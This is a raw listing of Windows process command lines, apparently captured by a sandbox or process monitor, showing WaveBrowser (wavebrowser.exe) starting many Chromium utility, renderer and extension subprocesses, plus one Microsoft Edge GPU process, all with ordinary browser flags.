"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7380,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7884 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6704,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6728 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6824,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6068 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4500,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6584 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5384,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9592 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5348,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9740 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9772,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9908 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9896,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9884 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10180,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10192 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10328,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10348 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10176,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10496 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10332,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10652 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10184,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10484 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10636,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10940 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10920,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11084 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=11220,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11228 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --field-trial-handle=11208,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11372 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=11520,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11532 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=11668,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11676 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9484,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9548 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9468,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11884 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9472,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12032 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9580,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12172 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9464,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12324 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9460,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12468 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9456,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12492 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9532,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12636 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9448,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12892 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9536,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13036 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --field-trial-handle=11212,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13280 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --field-trial-handle=8028,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8040 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --field-trial-handle=5352,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6332 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --field-trial-handle=13316,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13360 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --field-trial-handle=13320,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13540 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --field-trial-handle=13496,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13576 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --field-trial-handle=13480,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=13840 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --field-trial-handle=14028,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14044 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --start-stack-profiler --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --field-trial-handle=14212,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14264 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --field-trial-handle=14388,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14404 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --field-trial-handle=14584,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14608 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14780,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14796 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --field-trial-handle=14788,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14948 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --field-trial-handle=14828,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15132 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=14836,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15260 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --field-trial-handle=15524,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14752 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --field-trial-handle=15540,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15520 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --field-trial-handle=15864,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15604 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --field-trial-handle=15544,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15816 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10632,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10480 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10212,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10548 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9752,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9780 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --field-trial-handle=15756,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9696 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=15380,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9688 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=105 --field-trial-handle=15156,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15096 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=12348,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=12436 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9620,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9712 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=15148,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15168 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=15296,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15288 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=15572,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=15144 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=15584,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7004 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=10872,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7000 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,12904633910136394383,1063731071554157360,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5968 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=113 --field-trial-handle=15392,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=10396 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-appcompat-clear --field-trial-handle=1628,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=14972 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=115 --field-trial-handle=15028,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5864 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=116 --field-trial-handle=9444,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9860 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=117 --field-trial-handle=6440,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11128 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=118 --field-trial-handle=7648,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5856 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --field-trial-handle=15000,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5952 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=120 --field-trial-handle=4020,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5876 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=121 --field-trial-handle=11024,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=11348 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

